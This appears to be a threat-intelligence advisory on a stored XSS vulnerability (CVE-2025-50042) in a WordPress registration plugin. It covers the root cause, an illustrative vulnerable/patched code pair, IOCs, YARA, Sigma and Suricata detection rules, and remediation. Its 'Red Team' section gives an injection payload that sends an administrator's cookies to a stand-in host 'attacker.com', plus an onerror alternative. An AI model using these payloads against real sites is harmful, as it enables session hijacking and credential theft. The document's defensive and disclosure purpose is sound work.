CVE-2025-50042

Executive Summary

CVE-2025-50042 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Register Profile With Shortcode (versions up to and including 3.6.3), developed by aviplugins.com. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the registration or profile pages. This stored XSS can be triggered when an administrator or other user views the affected page, leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No public exploit code or patch details are available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site owners must consider removing or disabling the plugin until a fix is released. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to inject the payload.
• User Interaction: Required (UI:R) – The victim must view the compromised page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used plugin elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the wp-register-profile-with-shortcode plugin, which provides shortcodes for user registration and profile management. The plugin fails to sanitize or escape user input when rendering profile fields or registration data. An attacker can inject malicious JavaScript into fields such as "Display Name," "Biography," or custom profile fields. When an administrator or other user views the profile or registration page, the injected script executes in their browser context.

Root Cause: The plugin uses echo or print to output user-supplied data without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and later rendered.

Attack Flow:

1. Attacker registers a new user or updates an existing profile with a malicious payload in a text field (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the WordPress database.
3. An administrator visits the "Users" list or profile page, triggering the stored script.
4. The script executes, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's template files or shortcode handlers. A typical vulnerable pattern might look like:

Vulnerable Code (example):

echo '<div class="profile-field">' . $user_input . '</div>';

Patched Code (expected):

echo '<div class="profile-field">' . esc_html( $user_input ) . '</div>';

The patched version would use esc_html() to neutralize HTML tags, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 3.6.3).
• Ability to register a new user or edit an existing profile.

Exploitation Steps:

1. Navigate to the registration page (e.g., /wp-register-profile-with-shortcode/register).
2. In a text field (e.g., "Display Name"), enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Complete registration.
4. Wait for an administrator to view the "Users" page or the profile page.
5. The admin's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team (Defensive)

Detection:

• Monitor for unusual registration patterns or profile updates containing <script> tags.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Review server logs for requests to /wp-register-profile-with-shortcode/ with suspicious parameters.

Mitigation:

• Immediately disable or remove the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to block malicious input.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-register-profile-with-shortcode/ with parameters containing <script> or onerror attributes.
• File: Modified plugin files in /wp-content/plugins/wp-register-profile-with-shortcode/ (if attacker gains file access).
• Database: Rows in wp_usermeta or wp_posts containing JavaScript payloads.
• Logs: Access logs showing repeated registration attempts with unusual characters.

Detection Engineering

YARA Rule

rule CVE_2025_50042_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Register Profile With Shortcode plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50042"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WP Register Profile With Shortcode
id: cve-2025-50042
status: experimental
description: Detects potential stored XSS attempts via registration or profile update
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-register-profile-with-shortcode/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in profile fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50042 Stored XSS Attempt"; flow:to_server; content:"/wp-register-profile-with-shortcode/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the wp-register-profile-with-shortcode plugin until a patch is released.
2. Workaround: If the plugin is critical, implement a WAF rule to block requests containing <script> or event handlers in profile fields.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
4. Hardening: Enforce CSP headers (e.g., script-src 'self') to mitigate XSS impact.
5. Audit: Review user-submitted content for malicious payloads using security scanners.

Valters IT
DevSecOps & Cyber Threat Intelligence